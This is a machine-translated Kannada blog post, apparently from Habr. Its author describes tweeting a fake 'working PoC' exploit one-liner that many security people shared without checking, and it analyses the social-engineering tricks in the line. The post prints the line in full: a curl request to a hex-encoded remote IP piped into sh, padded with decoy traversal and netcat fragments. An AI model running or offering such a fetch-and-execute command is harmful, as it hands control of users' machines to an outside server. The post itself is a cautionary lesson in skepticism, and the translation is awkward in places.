ಸೂಚನೆ. ಅನುವಾದ.:
TL;DR: ಯಾವುದೇ ಸಂದರ್ಭದಲ್ಲಿ sh ಅಥವಾ bash ನಲ್ಲಿ ಫೈಲ್ ಪೈಪ್ಲೈನ್ ಅನ್ನು ಬಳಸಬೇಡಿ. ನಿಮ್ಮ ಕಂಪ್ಯೂಟರ್ನ ನಿಯಂತ್ರಣವನ್ನು ಕಳೆದುಕೊಳ್ಳಲು ಇದು ಉತ್ತಮ ಮಾರ್ಗವಾಗಿದೆ.
ಮೇ 31 ರಂದು ರಚಿಸಲಾದ ಕಾಮಿಕ್ PoC ಶೋಷಣೆಯ ಕುರಿತು ನಾನು ನಿಮ್ಮೊಂದಿಗೆ ಒಂದು ಸಣ್ಣ ಕಥೆಯನ್ನು ಹಂಚಿಕೊಳ್ಳಲು ಬಯಸುತ್ತೇನೆ. ಅವರು ಬಂದ ಸುದ್ದಿಗಳಿಗೆ ಪ್ರತಿಕ್ರಿಯೆಯಾಗಿ ತಕ್ಷಣವೇ ಕಾಣಿಸಿಕೊಂಡರು
ಕರ್ಲ್ನಲ್ಲಿ ಹೊಸ ಅಸ್ಪಷ್ಟತೆಯ ತಂತ್ರದ ಕೆಲಸವನ್ನು ಮುಗಿಸಿದ ನಂತರ, ನಾನು ಮೂಲ ಟ್ವೀಟ್ ಅನ್ನು ಉಲ್ಲೇಖಿಸಿದ್ದೇನೆ ಮತ್ತು ಪತ್ತೆಯಾದ ದುರ್ಬಲತೆಯನ್ನು ಬಳಸಿಕೊಳ್ಳುವ ಏಕೈಕ ಸಾಲಿನ ಕೋಡ್ ಅನ್ನು ಒಳಗೊಂಡಿರುವ "ಕಾರ್ಯನಿರ್ವಹಿಸುವ PoC ಅನ್ನು ಸೋರಿಕೆ ಮಾಡಿದೆ". ಸಹಜವಾಗಿ, ಇದು ಸಂಪೂರ್ಣ ಅಸಂಬದ್ಧವಾಗಿತ್ತು. ನಾನು ತಕ್ಷಣವೇ ಬಹಿರಂಗಗೊಳ್ಳುತ್ತೇನೆ ಮತ್ತು ಅತ್ಯುತ್ತಮವಾಗಿ ನಾನು ಒಂದೆರಡು ರಿಟ್ವೀಟ್ಗಳನ್ನು ಪಡೆಯುತ್ತೇನೆ ಎಂದು ನಾನು ಭಾವಿಸಿದೆ (ಓಹ್).
ಆದರೆ, ಮುಂದೆ ಏನಾಯಿತು ಎಂದು ನನಗೆ ಊಹಿಸಲು ಸಾಧ್ಯವಾಗಲಿಲ್ಲ. ನನ್ನ ಟ್ವೀಟ್ನ ಜನಪ್ರಿಯತೆ ಗಗನಕ್ಕೇರಿತು. ಆಶ್ಚರ್ಯಕರವಾಗಿ, ಕ್ಷಣದಲ್ಲಿ (15:00 ಮಾಸ್ಕೋ ಸಮಯ ಜೂನ್ 1) ಕೆಲವರು ಇದು ನಕಲಿ ಎಂದು ಅರಿತುಕೊಂಡಿದ್ದಾರೆ. ಅನೇಕ ಜನರು ಅದನ್ನು ಪರಿಶೀಲಿಸದೆಯೇ ಅದನ್ನು ಮರುಟ್ವೀಟ್ ಮಾಡುತ್ತಾರೆ (ಇದು ಔಟ್ಪುಟ್ ಮಾಡುವ ಸುಂದರವಾದ ASCII ಗ್ರಾಫಿಕ್ಸ್ ಅನ್ನು ಮೆಚ್ಚಿಕೊಳ್ಳುವುದನ್ನು ಬಿಡಿ).
ಅದು ಎಷ್ಟು ಸುಂದರವಾಗಿದೆ ಎಂದು ನೋಡಿ!
ಈ ಎಲ್ಲಾ ಕುಣಿಕೆಗಳು ಮತ್ತು ಬಣ್ಣಗಳು ಉತ್ತಮವಾಗಿದ್ದರೂ, ಜನರು ಅವುಗಳನ್ನು ನೋಡಲು ತಮ್ಮ ಗಣಕದಲ್ಲಿ ಕೋಡ್ ಅನ್ನು ಚಲಾಯಿಸಬೇಕಾಗಿತ್ತು ಎಂಬುದು ಸ್ಪಷ್ಟವಾಗಿದೆ. ಅದೃಷ್ಟವಶಾತ್, ಬ್ರೌಸರ್ಗಳು ಅದೇ ರೀತಿಯಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತವೆ ಮತ್ತು ನಾನು ಕಾನೂನು ತೊಂದರೆಗೆ ಸಿಲುಕಲು ನಿಜವಾಗಿಯೂ ಬಯಸುವುದಿಲ್ಲ ಎಂಬ ಅಂಶದೊಂದಿಗೆ ಸಂಯೋಜಿಸಲ್ಪಟ್ಟಿದೆ, ನನ್ನ ಸೈಟ್ನಲ್ಲಿ ಹೂತುಹಾಕಲಾದ ಕೋಡ್ ಯಾವುದೇ ಹೆಚ್ಚುವರಿ ಕೋಡ್ ಅನ್ನು ಸ್ಥಾಪಿಸಲು ಅಥವಾ ಕಾರ್ಯಗತಗೊಳಿಸಲು ಪ್ರಯತ್ನಿಸದೆಯೇ ಪ್ರತಿಧ್ವನಿ ಕರೆಗಳನ್ನು ಮಾಡುತ್ತಿದೆ.
ಒಂದು ಸಣ್ಣ ವಿಚಲನ:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
ಸೋಶಿಯೋ-ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಇಂಜಿನಿಯರಿಂಗ್ (SEE) - ಕೇವಲ ಫಿಶಿಂಗ್ಗಿಂತ ಹೆಚ್ಚು
ಸುರಕ್ಷತೆ ಮತ್ತು ಪರಿಚಿತತೆಯು ಈ ಪ್ರಯೋಗದ ಪ್ರಮುಖ ಭಾಗವಾಗಿತ್ತು. ಅವರೇ ಅವನ ಯಶಸ್ಸಿಗೆ ಕಾರಣವಾದರು ಎಂದು ನಾನು ಭಾವಿಸುತ್ತೇನೆ. "127.0.0.1" (ಪ್ರಸಿದ್ಧ ಲೋಕಲ್ ಹೋಸ್ಟ್) ಅನ್ನು ಉಲ್ಲೇಖಿಸುವ ಮೂಲಕ ಕಮಾಂಡ್ ಲೈನ್ ಸ್ಪಷ್ಟವಾಗಿ ಭದ್ರತೆಯನ್ನು ಸೂಚಿಸುತ್ತದೆ. Localhost ಅನ್ನು ಸುರಕ್ಷಿತವೆಂದು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಅದರಲ್ಲಿರುವ ಡೇಟಾವು ನಿಮ್ಮ ಕಂಪ್ಯೂಟರ್ ಅನ್ನು ಎಂದಿಗೂ ಬಿಡುವುದಿಲ್ಲ.
ಪರಿಚಿತತೆಯು ಪ್ರಯೋಗದ ಎರಡನೇ ಪ್ರಮುಖ SEE ಅಂಶವಾಗಿದೆ. ಗುರಿ ಪ್ರೇಕ್ಷಕರು ಪ್ರಾಥಮಿಕವಾಗಿ ಕಂಪ್ಯೂಟರ್ ಭದ್ರತೆಯ ಮೂಲಭೂತ ಪರಿಚಿತ ಜನರನ್ನು ಒಳಗೊಂಡಿರುವುದರಿಂದ, ಅದರ ಭಾಗಗಳು ಪರಿಚಿತ ಮತ್ತು ಪರಿಚಿತ (ಮತ್ತು ಆದ್ದರಿಂದ ಸುರಕ್ಷಿತ) ಎಂದು ತೋರುವ ಕೋಡ್ ಅನ್ನು ರಚಿಸುವುದು ಮುಖ್ಯವಾಗಿದೆ. ಹಳೆಯ ಶೋಷಣೆಯ ಪರಿಕಲ್ಪನೆಗಳ ಅಂಶಗಳನ್ನು ಎರವಲು ಪಡೆಯುವುದು ಮತ್ತು ಅಸಾಮಾನ್ಯ ರೀತಿಯಲ್ಲಿ ಅವುಗಳನ್ನು ಸಂಯೋಜಿಸುವುದು ಬಹಳ ಯಶಸ್ವಿಯಾಗಿದೆ ಎಂದು ಸಾಬೀತಾಗಿದೆ.
ಒನ್-ಲೈನರ್ನ ವಿವರವಾದ ವಿಶ್ಲೇಷಣೆಯನ್ನು ಕೆಳಗೆ ನೀಡಲಾಗಿದೆ. ಈ ಪಟ್ಟಿಯಲ್ಲಿರುವ ಎಲ್ಲವನ್ನೂ ಧರಿಸಲಾಗುತ್ತದೆ ಕಾಸ್ಮೆಟಿಕ್ ಪ್ರಕೃತಿ, ಮತ್ತು ಅದರ ನಿಜವಾದ ಕಾರ್ಯಾಚರಣೆಗೆ ಪ್ರಾಯೋಗಿಕವಾಗಿ ಏನೂ ಅಗತ್ಯವಿಲ್ಲ.
ಯಾವ ಘಟಕಗಳು ನಿಜವಾಗಿಯೂ ಅವಶ್ಯಕ? ಈ -gsS
, -O 0x0238f06a
, |sh
ಮತ್ತು ವೆಬ್ ಸರ್ವರ್ ಸ್ವತಃ. ವೆಬ್ ಸರ್ವರ್ ಯಾವುದೇ ದುರುದ್ದೇಶಪೂರಿತ ಸೂಚನೆಗಳನ್ನು ಹೊಂದಿಲ್ಲ, ಆದರೆ ಆಜ್ಞೆಗಳನ್ನು ಬಳಸಿಕೊಂಡು ASCII ಗ್ರಾಫಿಕ್ಸ್ ಅನ್ನು ಸರಳವಾಗಿ ಒದಗಿಸಿದೆ echo
ಒಳಗೊಂಡಿರುವ ಸ್ಕ್ರಿಪ್ಟ್ನಲ್ಲಿ index.html
. ಬಳಕೆದಾರರು ಒಂದು ಸಾಲನ್ನು ನಮೂದಿಸಿದಾಗ |sh
ಮಧ್ಯದಲ್ಲಿ, index.html
ಲೋಡ್ ಮಾಡಲಾಗಿದೆ ಮತ್ತು ಕಾರ್ಯಗತಗೊಳಿಸಲಾಗಿದೆ. ಅದೃಷ್ಟವಶಾತ್, ವೆಬ್ ಸರ್ವರ್ನ ಪಾಲಕರು ಯಾವುದೇ ಕೆಟ್ಟ ಉದ್ದೇಶಗಳನ್ನು ಹೊಂದಿರಲಿಲ್ಲ.
-
../../../%00
- ಡೈರೆಕ್ಟರಿಯನ್ನು ಮೀರಿ ಹೋಗುವುದನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತದೆ; -
ngx_stream_module.so
- ಯಾದೃಚ್ಛಿಕ NGINX ಮಾಡ್ಯೂಲ್ಗೆ ಮಾರ್ಗ; -
/bin/sh%00<'protocol:TCP'
- ನಾವು ಬಹುಶಃ ಪ್ರಾರಂಭಿಸುತ್ತಿದ್ದೇವೆ/bin/sh
ಗುರಿ ಯಂತ್ರದಲ್ಲಿ ಮತ್ತು ಔಟ್ಪುಟ್ ಅನ್ನು TCP ಚಾನಲ್ಗೆ ಮರುನಿರ್ದೇಶಿಸುತ್ತದೆ; -
-O 0x0238f06a#PLToffset
- ರಹಸ್ಯ ಘಟಕಾಂಶವಾಗಿದೆ, ಪೂರಕವಾಗಿದೆ#PLToffset
PLT ಯಲ್ಲಿ ಹೇಗೋ ಒಳಗೊಂಡಿರುವ ಮೆಮೊರಿ ಆಫ್ಸೆಟ್ನಂತೆ ಕಾಣಲು; -
|sh;
- ಮತ್ತೊಂದು ಪ್ರಮುಖ ತುಣುಕು. ದಾಳಿ ಮಾಡುವ ವೆಬ್ ಸರ್ವರ್ನಿಂದ ಬರುವ ಕೋಡ್ ಅನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸಲು ನಾವು ಔಟ್ಪುಟ್ ಅನ್ನು sh/bash ಗೆ ಮರುನಿರ್ದೇಶಿಸಬೇಕಾಗಿದೆ0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- ನೆಟ್ಕ್ಯಾಟ್ ಸೂಚಿಸುವ ನಕಲಿ/dev/tcp/localhost
ಇದರಿಂದ ಎಲ್ಲವೂ ಮತ್ತೆ ಸುರಕ್ಷಿತವಾಗಿ ಕಾಣುತ್ತದೆ. ವಾಸ್ತವವಾಗಿ, ಇದು ಏನನ್ನೂ ಮಾಡುವುದಿಲ್ಲ ಮತ್ತು ಸೌಂದರ್ಯಕ್ಕಾಗಿ ಸಾಲಿನಲ್ಲಿ ಸೇರಿಸಲಾಗಿದೆ.
ಇದು ಒಂದು ಸಾಲಿನ ಸ್ಕ್ರಿಪ್ಟ್ನ ಡಿಕೋಡಿಂಗ್ ಮತ್ತು "ಸಾಮಾಜಿಕ-ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಎಂಜಿನಿಯರಿಂಗ್" (ಸಂಕೀರ್ಣವಾದ ಫಿಶಿಂಗ್) ಅಂಶಗಳ ಚರ್ಚೆಯನ್ನು ಮುಕ್ತಾಯಗೊಳಿಸುತ್ತದೆ.
ವೆಬ್ ಸರ್ವರ್ ಕಾನ್ಫಿಗರೇಶನ್ ಮತ್ತು ಪ್ರತಿಕ್ರಮಗಳು
ನನ್ನ ಬಹುಪಾಲು ಚಂದಾದಾರರು ಇನ್ಫೋಸೆಕ್/ಹ್ಯಾಕರ್ಗಳಾಗಿರುವುದರಿಂದ, ಅವರ ಕಡೆಯಿಂದ "ಆಸಕ್ತಿ"ಯ ಅಭಿವ್ಯಕ್ತಿಗಳಿಗೆ ವೆಬ್ ಸರ್ವರ್ ಅನ್ನು ಸ್ವಲ್ಪ ಹೆಚ್ಚು ನಿರೋಧಕವಾಗಿಸಲು ನಾನು ನಿರ್ಧರಿಸಿದೆ, ಆದ್ದರಿಂದ ಹುಡುಗರಿಗೆ ಏನಾದರೂ ಮಾಡಬೇಕು (ಮತ್ತು ಇದು ವಿನೋದಮಯವಾಗಿರುತ್ತದೆ ಸ್ಥಾಪಿಸಿ). ಪ್ರಯೋಗವು ಇನ್ನೂ ನಡೆಯುತ್ತಿರುವುದರಿಂದ ನಾನು ಇಲ್ಲಿ ಎಲ್ಲಾ ಮೋಸಗಳನ್ನು ಪಟ್ಟಿ ಮಾಡಲು ಹೋಗುವುದಿಲ್ಲ, ಆದರೆ ಸರ್ವರ್ ಮಾಡುವ ಕೆಲವು ವಿಷಯಗಳು ಇಲ್ಲಿವೆ:
- ಕೆಲವು ಸಾಮಾಜಿಕ ನೆಟ್ವರ್ಕ್ಗಳಲ್ಲಿ ವಿತರಣಾ ಪ್ರಯತ್ನಗಳನ್ನು ಸಕ್ರಿಯವಾಗಿ ಮೇಲ್ವಿಚಾರಣೆ ಮಾಡುತ್ತದೆ ಮತ್ತು ಲಿಂಕ್ ಅನ್ನು ಕ್ಲಿಕ್ ಮಾಡಲು ಬಳಕೆದಾರರನ್ನು ಪ್ರೋತ್ಸಾಹಿಸಲು ವಿವಿಧ ಪೂರ್ವವೀಕ್ಷಣೆ ಥಂಬ್ನೇಲ್ಗಳನ್ನು ಬದಲಿಸುತ್ತದೆ.
- ಶೆಲ್ ಸ್ಕ್ರಿಪ್ಟ್ ಅನ್ನು ತೋರಿಸುವ ಬದಲು Chrome/Mozilla/Safari/etc ಅನ್ನು Thugcrowd ಪ್ರಚಾರದ ವೀಡಿಯೊಗೆ ಮರುನಿರ್ದೇಶಿಸುತ್ತದೆ.
- ಒಳನುಗ್ಗುವಿಕೆ/ಬ್ಲ್ಯಾಂಟ್ ಹ್ಯಾಕಿಂಗ್ನ ಸ್ಪಷ್ಟ ಚಿಹ್ನೆಗಳಿಗಾಗಿ ಕೈಗಡಿಯಾರಗಳು ಮತ್ತು ನಂತರ ವಿನಂತಿಗಳನ್ನು NSA ಸರ್ವರ್ಗಳಿಗೆ ಮರುನಿರ್ದೇಶಿಸಲು ಪ್ರಾರಂಭಿಸುತ್ತದೆ (ha!).
- ಸಾಮಾನ್ಯ ಬ್ರೌಸರ್ನಿಂದ ಹೋಸ್ಟ್ಗೆ ಭೇಟಿ ನೀಡುವ ಎಲ್ಲಾ ಕಂಪ್ಯೂಟರ್ಗಳಲ್ಲಿ ಟ್ರೋಜನ್ ಮತ್ತು BIOS ರೂಟ್ಕಿಟ್ ಅನ್ನು ಸ್ಥಾಪಿಸುತ್ತದೆ (ಕೇವಲ ತಮಾಷೆ!).
ಆಂಟಿಮರ್ಗಳ ಒಂದು ಸಣ್ಣ ಭಾಗ
ಈ ಸಂದರ್ಭದಲ್ಲಿ, ಅಪಾಚೆಯ ಕೆಲವು ವೈಶಿಷ್ಟ್ಯಗಳನ್ನು ಕರಗತ ಮಾಡಿಕೊಳ್ಳುವುದು ನನ್ನ ಏಕೈಕ ಗುರಿಯಾಗಿತ್ತು - ನಿರ್ದಿಷ್ಟವಾಗಿ, ವಿನಂತಿಗಳನ್ನು ಮರುನಿರ್ದೇಶಿಸಲು ತಂಪಾದ ನಿಯಮಗಳು - ಮತ್ತು ನಾನು ಯೋಚಿಸಿದೆ: ಏಕೆ ಇಲ್ಲ?
NGINX ಶೋಷಣೆ (ನೈಜ!)
ಇದಕ್ಕೆ ಚಂದಾದಾರರಾಗಿ
ಮೂಲ: www.habr.com